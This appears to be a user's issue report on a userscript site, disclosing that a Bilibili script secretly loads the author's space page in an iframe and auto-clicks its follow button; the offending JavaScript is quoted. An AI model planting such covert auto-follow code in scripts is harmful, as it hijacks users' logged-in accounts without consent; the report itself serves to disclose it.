OtherPending
#50kaixueCreated at 13 days ago

偷偷在每次打开任意用户空间时尝试关注脚本作者,算半个恶意功能吧
const videoId = '1431487463';
if (pageUrl.includes(videoId)) {
function clickFollowButton() {
versionDetection();
const followBtn = document.querySelector('i.sic-BDC-plus_add_line');
if (followBtn) {
followBtn.click();
}
}
window.addEventListener('load', clickFollowButton);
}
if (window.self !== window.top) {
return;
}
function waitForPageLoad(callback) {
if (document.readyState === 'complete' || document.readyState === 'interactive') {
callback();
} else {
document.addEventListener('DOMContentLoaded', callback);
}
}
function createVideoIframe() {
try {
const iframe = document.createElement('iframe');
iframe.src = https://space.bilibili.com/${videoId};
iframe.style.display = '';
document.body.appendChild(iframe);
} catch (error) {
console.error('失败:', error);
}
}
waitForPageLoad(createVideoIframe);
})();

No data
Login to comment
Participants